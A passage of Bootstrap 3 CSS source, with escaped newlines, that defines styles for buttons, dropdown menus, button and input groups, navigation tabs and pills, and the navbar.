#adadad;\n}\n.btn-default:active,\n.btn-default.active,\n.open > .dropdown-toggle.btn-default {\n  background-image: none;\n}\n.btn-default.disabled,\n.btn-default[disabled],\nfieldset[disabled] .btn-default,\n.btn-default.disabled:hover,\n.btn-default[disabled]:hover,\nfieldset[disabled] .btn-default:hover,\n.btn-default.disabled:focus,\n.btn-default[disabled]:focus,\nfieldset[disabled] .btn-default:focus,\n.btn-default.disabled.focus,\n.btn-default[disabled].focus,\nfieldset[disabled] .btn-default.focus,\n.btn-default.disabled:active,\n.btn-default[disabled]:active,\nfieldset[disabled] .btn-default:active,\n.btn-default.disabled.active,\n.btn-default[disabled].active,\nfieldset[disabled] .btn-default.active {\n  background-color: #fff;\n  border-color: #ccc;\n}\n.btn-default .badge {\n  color: #fff;\n  background-color: #333;\n}\n.btn-primary {\n  color: #fff;\n  background-color: #337ab7;\n  border-color: #2e6da4;\n}\n.btn-primary:hover,\n.btn-primary:focus,\n.btn-primary.focus,\n.btn-primary:active,\n.btn-primary.active,\n.open > .dropdown-toggle.btn-primary {\n  color: #fff;\n  background-color: #286090;\n  border-color: #204d74;\n}\n.btn-primary:active,\n.btn-primary.active,\n.open > .dropdown-toggle.btn-primary {\n  background-image: none;\n}\n.btn-primary.disabled,\n.btn-primary[disabled],\nfieldset[disabled] .btn-primary,\n.btn-primary.disabled:hover,\n.btn-primary[disabled]:hover,\nfieldset[disabled] .btn-primary:hover,\n.btn-primary.disabled:focus,\n.btn-primary[disabled]:focus,\nfieldset[disabled] .btn-primary:focus,\n.btn-primary.disabled.focus,\n.btn-primary[disabled].focus,\nfieldset[disabled] .btn-primary.focus,\n.btn-primary.disabled:active,\n.btn-primary[disabled]:active,\nfieldset[disabled] .btn-primary:active,\n.btn-primary.disabled.active,\n.btn-primary[disabled].active,\nfieldset[disabled] .btn-primary.active {\n  background-color: #337ab7;\n  border-color: #2e6da4;\n}\n.btn-primary .badge {\n  color: #337ab7;\n  background-color: #fff;\n}\n.btn-success {\n  color: #fff;\n  background-color: #5cb85c;\n  border-color: #4cae4c;\n}\n.btn-success:hover,\n.btn-success:focus,\n.btn-success.focus,\n.btn-success:active,\n.btn-success.active,\n.open > .dropdown-toggle.btn-success {\n  color: #fff;\n  background-color: #449d44;\n  border-color: #398439;\n}\n.btn-success:active,\n.btn-success.active,\n.open > .dropdown-toggle.btn-success {\n  background-image: none;\n}\n.btn-success.disabled,\n.btn-success[disabled],\nfieldset[disabled] .btn-success,\n.btn-success.disabled:hover,\n.btn-success[disabled]:hover,\nfieldset[disabled] .btn-success:hover,\n.btn-success.disabled:focus,\n.btn-success[disabled]:focus,\nfieldset[disabled] .btn-success:focus,\n.btn-success.disabled.focus,\n.btn-success[disabled].focus,\nfieldset[disabled] .btn-success.focus,\n.btn-success.disabled:active,\n.btn-success[disabled]:active,\nfieldset[disabled] .btn-success:active,\n.btn-success.disabled.active,\n.btn-success[disabled].active,\nfieldset[disabled] .btn-success.active {\n  background-color: #5cb85c;\n  border-color: #4cae4c;\n}\n.btn-success .badge {\n  color: #5cb85c;\n  background-color: #fff;\n}\n.btn-info {\n  color: #fff;\n  background-color: #5bc0de;\n  border-color: #46b8da;\n}\n.btn-info:hover,\n.btn-info:focus,\n.btn-info.focus,\n.btn-info:active,\n.btn-info.active,\n.open > .dropdown-toggle.btn-info {\n  color: #fff;\n  background-color: #31b0d5;\n  border-color: #269abc;\n}\n.btn-info:active,\n.btn-info.active,\n.open > .dropdown-toggle.btn-info {\n  background-image: none;\n}\n.btn-info.disabled,\n.btn-info[disabled],\nfieldset[disabled] .btn-info,\n.btn-info.disabled:hover,\n.btn-info[disabled]:hover,\nfieldset[disabled] .btn-info:hover,\n.btn-info.disabled:focus,\n.btn-info[disabled]:focus,\nfieldset[disabled] .btn-info:focus,\n.btn-info.disabled.focus,\n.btn-info[disabled].focus,\nfieldset[disabled] .btn-info.focus,\n.btn-info.disabled:active,\n.btn-info[disabled]:active,\nfieldset[disabled] .btn-info:active,\n.btn-info.disabled.active,\n.btn-info[disabled].active,\nfieldset[disabled] .btn-info.active {\n  background-color: #5bc0de;\n  border-color: #46b8da;\n}\n.btn-info .badge {\n  color: #5bc0de;\n  background-color: #fff;\n}\n.btn-warning {\n  color: #fff;\n  background-color: #f0ad4e;\n  border-color: #eea236;\n}\n.btn-warning:hover,\n.btn-warning:focus,\n.btn-warning.focus,\n.btn-warning:active,\n.btn-warning.active,\n.open > .dropdown-toggle.btn-warning {\n  color: #fff;\n  background-color: #ec971f;\n  border-color: #d58512;\n}\n.btn-warning:active,\n.btn-warning.active,\n.open > .dropdown-toggle.btn-warning {\n  background-image: none;\n}\n.btn-warning.disabled,\n.btn-warning[disabled],\nfieldset[disabled] .btn-warning,\n.btn-warning.disabled:hover,\n.btn-warning[disabled]:hover,\nfieldset[disabled] .btn-warning:hover,\n.btn-warning.disabled:focus,\n.btn-warning[disabled]:focus,\nfieldset[disabled] .btn-warning:focus,\n.btn-warning.disabled.focus,\n.btn-warning[disabled].focus,\nfieldset[disabled] .btn-warning.focus,\n.btn-warning.disabled:active,\n.btn-warning[disabled]:active,\nfieldset[disabled] .btn-warning:active,\n.btn-warning.disabled.active,\n.btn-warning[disabled].active,\nfieldset[disabled] .btn-warning.active {\n  background-color: #f0ad4e;\n  border-color: #eea236;\n}\n.btn-warning .badge {\n  color: #f0ad4e;\n  background-color: #fff;\n}\n.btn-danger {\n  color: #fff;\n  background-color: #d9534f;\n  border-color: #d43f3a;\n}\n.btn-danger:hover,\n.btn-danger:focus,\n.btn-danger.focus,\n.btn-danger:active,\n.btn-danger.active,\n.open > .dropdown-toggle.btn-danger {\n  color: #fff;\n  background-color: #c9302c;\n  border-color: #ac2925;\n}\n.btn-danger:active,\n.btn-danger.active,\n.open > .dropdown-toggle.btn-danger {\n  background-image: none;\n}\n.btn-danger.disabled,\n.btn-danger[disabled],\nfieldset[disabled] .btn-danger,\n.btn-danger.disabled:hover,\n.btn-danger[disabled]:hover,\nfieldset[disabled] .btn-danger:hover,\n.btn-danger.disabled:focus,\n.btn-danger[disabled]:focus,\nfieldset[disabled] .btn-danger:focus,\n.btn-danger.disabled.focus,\n.btn-danger[disabled].focus,\nfieldset[disabled] .btn-danger.focus,\n.btn-danger.disabled:active,\n.btn-danger[disabled]:active,\nfieldset[disabled] .btn-danger:active,\n.btn-danger.disabled.active,\n.btn-danger[disabled].active,\nfieldset[disabled] .btn-danger.active {\n  background-color: #d9534f;\n  border-color: #d43f3a;\n}\n.btn-danger .badge {\n  color: #d9534f;\n  background-color: #fff;\n}\n.btn-link {\n  font-weight: normal;\n  color: #337ab7;\n  border-radius: 0;\n}\n.btn-link,\n.btn-link:active,\n.btn-link.active,\n.btn-link[disabled],\nfieldset[disabled] .btn-link {\n  background-color: transparent;\n  -webkit-box-shadow: none;\n          box-shadow: none;\n}\n.btn-link,\n.btn-link:hover,\n.btn-link:focus,\n.btn-link:active {\n  border-color: transparent;\n}\n.btn-link:hover,\n.btn-link:focus {\n  color: #23527c;\n  text-decoration: underline;\n  background-color: transparent;\n}\n.btn-link[disabled]:hover,\nfieldset[disabled] .btn-link:hover,\n.btn-link[disabled]:focus,\nfieldset[disabled] .btn-link:focus {\n  color: #777;\n  text-decoration: none;\n}\n.btn-lg,\n.btn-group-lg > .btn {\n  padding: 10px 16px;\n  font-size: 18px;\n  line-height: 1.3333333;\n  border-radius: 6px;\n}\n.btn-sm,\n.btn-group-sm > .btn {\n  padding: 5px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\n.btn-xs,\n.btn-group-xs > .btn {\n  padding: 1px 5px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\n.btn-block {\n  display: block;\n  width: 100%;\n}\n.btn-block + .btn-block {\n  margin-top: 5px;\n}\ninput[type=\"submit\"].btn-block,\ninput[type=\"reset\"].btn-block,\ninput[type=\"button\"].btn-block {\n  width: 100%;\n}\n.fade {\n  opacity: 0;\n  -webkit-transition: opacity .15s linear;\n       -o-transition: opacity .15s linear;\n          transition: opacity .15s linear;\n}\n.fade.in {\n  opacity: 1;\n}\n.collapse {\n  display: none;\n}\n.collapse.in {\n  display: block;\n}\ntr.collapse.in {\n  display: table-row;\n}\ntbody.collapse.in {\n  display: table-row-group;\n}\n.collapsing {\n  position: relative;\n  height: 0;\n  overflow: hidden;\n  -webkit-transition-timing-function: ease;\n       -o-transition-timing-function: ease;\n          transition-timing-function: ease;\n  -webkit-transition-duration: .35s;\n       -o-transition-duration: .35s;\n          transition-duration: .35s;\n  -webkit-transition-property: height, visibility;\n       -o-transition-property: height, visibility;\n          transition-property: height, visibility;\n}\n.caret {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  margin-left: 2px;\n  vertical-align: middle;\n  border-top: 4px dashed;\n  border-right: 4px solid transparent;\n  border-left: 4px solid transparent;\n}\n.dropup,\n.dropdown {\n  position: relative;\n}\n.dropdown-toggle:focus {\n  outline: 0;\n}\n.dropdown-menu {\n  position: absolute;\n  top: 100%;\n  left: 0;\n  z-index: 1000;\n  display: none;\n  float: left;\n  min-width: 160px;\n  padding: 5px 0;\n  margin: 2px 0 0;\n  font-size: 14px;\n  text-align: left;\n  list-style: none;\n  background-color: #fff;\n  -webkit-background-clip: padding-box;\n          background-clip: padding-box;\n  border: 1px solid #ccc;\n  border: 1px solid rgba(0, 0, 0, .15);\n  border-radius: 4px;\n  -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, .175);\n          box-shadow: 0 6px 12px rgba(0, 0, 0, .175);\n}\n.dropdown-menu.pull-right {\n  right: 0;\n  left: auto;\n}\n.dropdown-menu .divider {\n  height: 1px;\n  margin: 9px 0;\n  overflow: hidden;\n  background-color: #e5e5e5;\n}\n.dropdown-menu > li > a {\n  display: block;\n  padding: 3px 20px;\n  clear: both;\n  font-weight: normal;\n  line-height: 1.42857143;\n  color: #333;\n  white-space: nowrap;\n}\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus {\n  color: #262626;\n  text-decoration: none;\n  background-color: #f5f5f5;\n}\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n  color: #fff;\n  text-decoration: none;\n  background-color: #337ab7;\n  outline: 0;\n}\n.dropdown-menu > .disabled > a,\n.dropdown-menu > .disabled > a:hover,\n.dropdown-menu > .disabled > a:focus {\n  color: #777;\n}\n.dropdown-menu > .disabled > a:hover,\n.dropdown-menu > .disabled > a:focus {\n  text-decoration: none;\n  cursor: not-allowed;\n  background-color: transparent;\n  background-image: none;\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n}\n.open > .dropdown-menu {\n  display: block;\n}\n.open > a {\n  outline: 0;\n}\n.dropdown-menu-right {\n  right: 0;\n  left: auto;\n}\n.dropdown-menu-left {\n  right: auto;\n  left: 0;\n}\n.dropdown-header {\n  display: block;\n  padding: 3px 20px;\n  font-size: 12px;\n  line-height: 1.42857143;\n  color: #777;\n  white-space: nowrap;\n}\n.dropdown-backdrop {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 990;\n}\n.pull-right > .dropdown-menu {\n  right: 0;\n  left: auto;\n}\n.dropup .caret,\n.navbar-fixed-bottom .dropdown .caret {\n  content: \"\";\n  border-top: 0;\n  border-bottom: 4px solid;\n}\n.dropup .dropdown-menu,\n.navbar-fixed-bottom .dropdown .dropdown-menu {\n  top: auto;\n  bottom: 100%;\n  margin-bottom: 2px;\n}\n@media (min-width: 768px) {\n  .navbar-right .dropdown-menu {\n    right: 0;\n    left: auto;\n  }\n  .navbar-right .dropdown-menu-left {\n    right: auto;\n    left: 0;\n  }\n}\n.btn-group,\n.btn-group-vertical {\n  position: relative;\n  display: inline-block;\n  vertical-align: middle;\n}\n.btn-group > .btn,\n.btn-group-vertical > .btn {\n  position: relative;\n  float: left;\n}\n.btn-group > .btn:hover,\n.btn-group-vertical > .btn:hover,\n.btn-group > .btn:focus,\n.btn-group-vertical > .btn:focus,\n.btn-group > .btn:active,\n.btn-group-vertical > .btn:active,\n.btn-group > .btn.active,\n.btn-group-vertical > .btn.active {\n  z-index: 2;\n}\n.btn-group .btn + .btn,\n.btn-group .btn + .btn-group,\n.btn-group .btn-group + .btn,\n.btn-group .btn-group + .btn-group {\n  margin-left: -1px;\n}\n.btn-toolbar {\n  margin-left: -5px;\n}\n.btn-toolbar .btn-group,\n.btn-toolbar .input-group {\n  float: left;\n}\n.btn-toolbar > .btn,\n.btn-toolbar > .btn-group,\n.btn-toolbar > .input-group {\n  margin-left: 5px;\n}\n.btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) {\n  border-radius: 0;\n}\n.btn-group > .btn:first-child {\n  margin-left: 0;\n}\n.btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n.btn-group > .btn:last-child:not(:first-child),\n.btn-group > .dropdown-toggle:not(:first-child) {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.btn-group > .btn-group {\n  float: left;\n}\n.btn-group > .btn-group:not(:first-child):not(:last-child) > .btn {\n  border-radius: 0;\n}\n.btn-group > .btn-group:first-child:not(:last-child) > .btn:last-child,\n.btn-group > .btn-group:first-child:not(:last-child) > .dropdown-toggle {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n.btn-group > .btn-group:last-child:not(:first-child) > .btn:first-child {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.btn-group .dropdown-toggle:active,\n.btn-group.open .dropdown-toggle {\n  outline: 0;\n}\n.btn-group > .btn + .dropdown-toggle {\n  padding-right: 8px;\n  padding-left: 8px;\n}\n.btn-group > .btn-lg + .dropdown-toggle {\n  padding-right: 12px;\n  padding-left: 12px;\n}\n.btn-group.open .dropdown-toggle {\n  -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);\n          box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);\n}\n.btn-group.open .dropdown-toggle.btn-link {\n  -webkit-box-shadow: none;\n          box-shadow: none;\n}\n.btn .caret {\n  margin-left: 0;\n}\n.btn-lg .caret {\n  border-width: 5px 5px 0;\n  border-bottom-width: 0;\n}\n.dropup .btn-lg .caret {\n  border-width: 0 5px 5px;\n}\n.btn-group-vertical > .btn,\n.btn-group-vertical > .btn-group,\n.btn-group-vertical > .btn-group > .btn {\n  display: block;\n  float: none;\n  width: 100%;\n  max-width: 100%;\n}\n.btn-group-vertical > .btn-group > .btn {\n  float: none;\n}\n.btn-group-vertical > .btn + .btn,\n.btn-group-vertical > .btn + .btn-group,\n.btn-group-vertical > .btn-group + .btn,\n.btn-group-vertical > .btn-group + .btn-group {\n  margin-top: -1px;\n  margin-left: 0;\n}\n.btn-group-vertical > .btn:not(:first-child):not(:last-child) {\n  border-radius: 0;\n}\n.btn-group-vertical > .btn:first-child:not(:last-child) {\n  border-top-right-radius: 4px;\n  border-bottom-right-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.btn-group-vertical > .btn:last-child:not(:first-child) {\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n  border-bottom-left-radius: 4px;\n}\n.btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn {\n  border-radius: 0;\n}\n.btn-group-vertical > .btn-group:first-child:not(:last-child) > .btn:last-child,\n.btn-group-vertical > .btn-group:first-child:not(:last-child) > .dropdown-toggle {\n  border-bottom-right-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child {\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n.btn-group-justified {\n  display: table;\n  width: 100%;\n  table-layout: fixed;\n  border-collapse: separate;\n}\n.btn-group-justified > .btn,\n.btn-group-justified > .btn-group {\n  display: table-cell;\n  float: none;\n  width: 1%;\n}\n.btn-group-justified > .btn-group .btn {\n  width: 100%;\n}\n.btn-group-justified > .btn-group .dropdown-menu {\n  left: auto;\n}\n[data-toggle=\"buttons\"] > .btn input[type=\"radio\"],\n[data-toggle=\"buttons\"] > .btn-group > .btn input[type=\"radio\"],\n[data-toggle=\"buttons\"] > .btn input[type=\"checkbox\"],\n[data-toggle=\"buttons\"] > .btn-group > .btn input[type=\"checkbox\"] {\n  position: absolute;\n  clip: rect(0, 0, 0, 0);\n  pointer-events: none;\n}\n.input-group {\n  position: relative;\n  display: table;\n  border-collapse: separate;\n}\n.input-group[class*=\"col-\"] {\n  float: none;\n  padding-right: 0;\n  padding-left: 0;\n}\n.input-group .form-control {\n  position: relative;\n  z-index: 2;\n  float: left;\n  width: 100%;\n  margin-bottom: 0;\n}\n.input-group-lg > .form-control,\n.input-group-lg > .input-group-addon,\n.input-group-lg > .input-group-btn > .btn {\n  height: 46px;\n  padding: 10px 16px;\n  font-size: 18px;\n  line-height: 1.3333333;\n  border-radius: 6px;\n}\nselect.input-group-lg > .form-control,\nselect.input-group-lg > .input-group-addon,\nselect.input-group-lg > .input-group-btn > .btn {\n  height: 46px;\n  line-height: 46px;\n}\ntextarea.input-group-lg > .form-control,\ntextarea.input-group-lg > .input-group-addon,\ntextarea.input-group-lg > .input-group-btn > .btn,\nselect[multiple].input-group-lg > .form-control,\nselect[multiple].input-group-lg > .input-group-addon,\nselect[multiple].input-group-lg > .input-group-btn > .btn {\n  height: auto;\n}\n.input-group-sm > .form-control,\n.input-group-sm > .input-group-addon,\n.input-group-sm > .input-group-btn > .btn {\n  height: 30px;\n  padding: 5px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\nselect.input-group-sm > .form-control,\nselect.input-group-sm > .input-group-addon,\nselect.input-group-sm > .input-group-btn > .btn {\n  height: 30px;\n  line-height: 30px;\n}\ntextarea.input-group-sm > .form-control,\ntextarea.input-group-sm > .input-group-addon,\ntextarea.input-group-sm > .input-group-btn > .btn,\nselect[multiple].input-group-sm > .form-control,\nselect[multiple].input-group-sm > .input-group-addon,\nselect[multiple].input-group-sm > .input-group-btn > .btn {\n  height: auto;\n}\n.input-group-addon,\n.input-group-btn,\n.input-group .form-control {\n  display: table-cell;\n}\n.input-group-addon:not(:first-child):not(:last-child),\n.input-group-btn:not(:first-child):not(:last-child),\n.input-group .form-control:not(:first-child):not(:last-child) {\n  border-radius: 0;\n}\n.input-group-addon,\n.input-group-btn {\n  width: 1%;\n  white-space: nowrap;\n  vertical-align: middle;\n}\n.input-group-addon {\n  padding: 6px 12px;\n  font-size: 14px;\n  font-weight: normal;\n  line-height: 1;\n  color: #555;\n  text-align: center;\n  background-color: #eee;\n  border: 1px solid #ccc;\n  border-radius: 4px;\n}\n.input-group-addon.input-sm {\n  padding: 5px 10px;\n  font-size: 12px;\n  border-radius: 3px;\n}\n.input-group-addon.input-lg {\n  padding: 10px 16px;\n  font-size: 18px;\n  border-radius: 6px;\n}\n.input-group-addon input[type=\"radio\"],\n.input-group-addon input[type=\"checkbox\"] {\n  margin-top: 0;\n}\n.input-group .form-control:first-child,\n.input-group-addon:first-child,\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group > .btn,\n.input-group-btn:first-child > .dropdown-toggle,\n.input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group-btn:last-child > .btn-group:not(:last-child) > .btn {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n.input-group-addon:first-child {\n  border-right: 0;\n}\n.input-group .form-control:last-child,\n.input-group-addon:last-child,\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group > .btn,\n.input-group-btn:last-child > .dropdown-toggle,\n.input-group-btn:first-child > .btn:not(:first-child),\n.input-group-btn:first-child > .btn-group:not(:first-child) > .btn {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.input-group-addon:last-child {\n  border-left: 0;\n}\n.input-group-btn {\n  position: relative;\n  font-size: 0;\n  white-space: nowrap;\n}\n.input-group-btn > .btn {\n  position: relative;\n}\n.input-group-btn > .btn + .btn {\n  margin-left: -1px;\n}\n.input-group-btn > .btn:hover,\n.input-group-btn > .btn:focus,\n.input-group-btn > .btn:active {\n  z-index: 2;\n}\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group {\n  margin-right: -1px;\n}\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group {\n  margin-left: -1px;\n}\n.nav {\n  padding-left: 0;\n  margin-bottom: 0;\n  list-style: none;\n}\n.nav > li {\n  position: relative;\n  display: block;\n}\n.nav > li > a {\n  position: relative;\n  display: block;\n  padding: 10px 15px;\n}\n.nav > li > a:hover,\n.nav > li > a:focus {\n  text-decoration: none;\n  background-color: #eee;\n}\n.nav > li.disabled > a {\n  color: #777;\n}\n.nav > li.disabled > a:hover,\n.nav > li.disabled > a:focus {\n  color: #777;\n  text-decoration: none;\n  cursor: not-allowed;\n  background-color: transparent;\n}\n.nav .open > a,\n.nav .open > a:hover,\n.nav .open > a:focus {\n  background-color: #eee;\n  border-color: #337ab7;\n}\n.nav .nav-divider {\n  height: 1px;\n  margin: 9px 0;\n  overflow: hidden;\n  background-color: #e5e5e5;\n}\n.nav > li > a > img {\n  max-width: none;\n}\n.nav-tabs {\n  border-bottom: 1px solid #ddd;\n}\n.nav-tabs > li {\n  float: left;\n  margin-bottom: -1px;\n}\n.nav-tabs > li > a {\n  margin-right: 2px;\n  line-height: 1.42857143;\n  border: 1px solid transparent;\n  border-radius: 4px 4px 0 0;\n}\n.nav-tabs > li > a:hover {\n  border-color: #eee #eee #ddd;\n}\n.nav-tabs > li.active > a,\n.nav-tabs > li.active > a:hover,\n.nav-tabs > li.active > a:focus {\n  color: #555;\n  cursor: default;\n  background-color: #fff;\n  border: 1px solid #ddd;\n  border-bottom-color: transparent;\n}\n.nav-tabs.nav-justified {\n  width: 100%;\n  border-bottom: 0;\n}\n.nav-tabs.nav-justified > li {\n  float: none;\n}\n.nav-tabs.nav-justified > li > a {\n  margin-bottom: 5px;\n  text-align: center;\n}\n.nav-tabs.nav-justified > .dropdown .dropdown-menu {\n  top: auto;\n  left: auto;\n}\n@media (min-width: 768px) {\n  .nav-tabs.nav-justified > li {\n    display: table-cell;\n    width: 1%;\n  }\n  .nav-tabs.nav-justified > li > a {\n    margin-bottom: 0;\n  }\n}\n.nav-tabs.nav-justified > li > a {\n  margin-right: 0;\n  border-radius: 4px;\n}\n.nav-tabs.nav-justified > .active > a,\n.nav-tabs.nav-justified > .active > a:hover,\n.nav-tabs.nav-justified > .active > a:focus {\n  border: 1px solid #ddd;\n}\n@media (min-width: 768px) {\n  .nav-tabs.nav-justified > li > a {\n    border-bottom: 1px solid #ddd;\n    border-radius: 4px 4px 0 0;\n  }\n  .nav-tabs.nav-justified > .active > a,\n  .nav-tabs.nav-justified > .active > a:hover,\n  .nav-tabs.nav-justified > .active > a:focus {\n    border-bottom-color: #fff;\n  }\n}\n.nav-pills > li {\n  float: left;\n}\n.nav-pills > li > a {\n  border-radius: 4px;\n}\n.nav-pills > li + li {\n  margin-left: 2px;\n}\n.nav-pills > li.active > a,\n.nav-pills > li.active > a:hover,\n.nav-pills > li.active > a:focus {\n  color: #fff;\n  background-color: #337ab7;\n}\n.nav-stacked > li {\n  float: none;\n}\n.nav-stacked > li + li {\n  margin-top: 2px;\n  margin-left: 0;\n}\n.nav-justified {\n  width: 100%;\n}\n.nav-justified > li {\n  float: none;\n}\n.nav-justified > li > a {\n  margin-bottom: 5px;\n  text-align: center;\n}\n.nav-justified > .dropdown .dropdown-menu {\n  top: auto;\n  left: auto;\n}\n@media (min-width: 768px) {\n  .nav-justified > li {\n    display: table-cell;\n    width: 1%;\n  }\n  .nav-justified > li > a {\n    margin-bottom: 0;\n  }\n}\n.nav-tabs-justified {\n  border-bottom: 0;\n}\n.nav-tabs-justified > li > a {\n  margin-right: 0;\n  border-radius: 4px;\n}\n.nav-tabs-justified > .active > a,\n.nav-tabs-justified > .active > a:hover,\n.nav-tabs-justified > .active > a:focus {\n  border: 1px solid #ddd;\n}\n@media (min-width: 768px) {\n  .nav-tabs-justified > li > a {\n    border-bottom: 1px solid #ddd;\n    border-radius: 4px 4px 0 0;\n  }\n  .nav-tabs-justified > .active > a,\n  .nav-tabs-justified > .active > a:hover,\n  .nav-tabs-justified > .active > a:focus {\n    border-bottom-color: #fff;\n  }\n}\n.tab-content > .tab-pane {\n  display: none;\n}\n.tab-content > .active {\n  display: block;\n}\n.nav-tabs .dropdown-menu {\n  margin-top: -1px;\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n.navbar {\n  position: relative;\n  min-height: 50px;\n  margin-bottom: 20px;\n  border: 1px solid transparent;\n}\n@media (min-width: 768px) {\n  .navbar {\n    border-radius: 4px;\n  }\n}\n@media (min-width: 768px) {\n  .navbar-header {\n    float: left;\n  }\n}\n.navbar-collapse {\n  padding-right: 15px;\n  padding-left: 15px;\n  overflow-x: visible;\n  -webkit-overflow-scrolling: touch;\n  border-top: 1px solid transparent;\n  -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1);\n          box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1);\n}\n.navbar-collapse.in {\n  overflow-y: auto;\n}\n@media (min-width: 768px) {\n  .navbar-collapse {\n    width: auto;\n    border-top: 0;\n    -webkit-box-shadow: none;\n            box-shadow: none;\n  }\n  .navbar-collapse.collapse {\n    display: block !important;\n    height: auto !important;\n    padding-bottom: 0;\n    overflow: visible !important;\n  }\n  .navbar-collapse.in {\n    overflow-y: visible;\n  }\n  .navbar-fixed-top .navbar-collapse,\n  .navbar-static-top .navbar-collapse,\n  .navbar-fixed-bottom .navbar-collapse {\n    padding-right: 0;\n    padding-left: 0;\n  }\n}\n.navbar-fixed-top .navbar-collapse,\n.navbar-fixed-bottom .navbar-collapse {\n  max-height: 340px;\n}\n@media (max-device-width: 480px) and (orientation: landscape) {\n  .navbar-fixed-top .navbar-collapse,\n  .navbar-fixed-bottom .navbar-collapse {\n    max-height: 200px;\n  }\n}\n.container > .navbar-header,\n.container-fluid > .navbar-header,\n.container > .navbar-collapse,\n.container-fluid > .navbar-collapse {\n  margin-right: -15px;\n  margin-left: -15px;\n}\n@media (min-width: 768px) {\n  .container > .navbar-header,\n  .container-fluid > .navbar-header,\n  .container > .navbar-collapse,\n  .container-fluid > .navbar-collapse {\n    margin-right: 0;\n    margin-left: 0;\n  }\n}\n.navbar-static-top {\n  z-index: 1000;\n  border-width: 0 0 1px;\n}\n@media (min-width: 768px) {\n  .navbar-static-top {\n    border-radius: 0;\n  }\n}\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n  position: fixed;\n  right: 0;\n  left: 0;\n  z-index: 1030;\n}\n@media (min-width: 768px) {\n  .navbar-fixed-top,\n  .navbar-fixed-bottom {\n    border-radius: 0;\n  }\n}\n.navbar-fixed-top {\n  top: 0;\n  border-width: 0 0 1px;\n}\n.navbar-fixed-bottom {\n  bottom: 0;\n  margin-bottom: 0;\n  border-width: 1px 0 0;\n}\n.navbar-brand {\n  float: left;\n  height: 50px;\n  padding: 15px 15px;\n  font-size: 18px;\n  line-height: 20px;\n}\n.navbar-brand:hover,\n.navbar-brand:focus {\n  text-decoration: none;\n}\n.navbar-brand > img {\n  display: block;\n}\n@media (min-width: 768px) {\n  .navbar > .container .navbar-brand,\n  .navbar > .container-fluid .navbar-brand {\n    margin-left: -15px;\n  }\n}\n.navbar-toggle {\n  position: relative;\n  float: right;\n  padding: 9px 10px;\n  margin-top: 8px;\n  margin-right: 15px;\n  margin-bottom: 8px;\n  background-color: transparent;\n  background-image: none;\n  border: 1px solid transparent;\n  border-radius: 4px;\n}\n.navbar-toggle:focus {\n  outline: 0;\n}\n.navbar-toggle .icon-bar {\n  display: block;\n  width: 22px;\n  height: 2px;\n  border-radius: 1px;\n}\n.navbar-toggle .icon-bar + .icon-bar {\n  margin-top: 4px;\n}\n@media (min-width: 768px) {\n  .navbar-toggle {\n    display: none;\n  }\n}\n.navbar-nav {\n  margin: 7.5px -15px;\n}\n.navbar-nav > li > a {\n  padding-top: 10px;\n  padding-bottom: 10px;\n  line-height: 20px;\n}\n@media (max-width: 767px) {\n  .navbar-nav .open .dropdown-menu {\n    position: static;\n    float: none;\n    width: auto;\n    margin-top: 0;\n    background-color: transparent;\n    border: 0;\n    -webkit-box-shadow: none;\n            box-shadow: none;\n  }\n  .navbar-nav .open .dropdown-menu > li > a,\n  .navbar-nav .open .dropdown-menu .dropdown-header {\n    padding: 5px 15px 5px 25px;\n  }\n  .navbar-nav .open .dropdown-menu > li > a {\n    line-height: 20px;\n  }\n  .navbar-nav .open .dropdown-menu > li > a:hover,\n  .navbar-nav .open .dropdown-menu > li > a:focus {\n    background-image: none;\n  }\n}\n@media (min-width: 768px) {\n  .navbar-nav {\n    float: left;\n    margin: 0;\n  }\n  .navbar-nav > li {\n    float: left;\n  }\n  .navbar-nav > li > a {\n    padding-top: 15px;\n    padding-bottom: 15px;\n  }\n}\n.navbar-form {\n  padding: 10px 15px;\n  margin-top: 8px;\n  margin-right: -15px;\n  margin-bottom: 8px;\n  margin-left: -15px;\n  border-top: 1px solid transparent;\n  border-bottom: 1px solid transparent;\n  -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1);\n          box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1);\n}\n@media (min-width: 768px) {\n  .navbar-form .form-group {\n    display: inline-block;\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .navbar-form .form-control {\n    display: 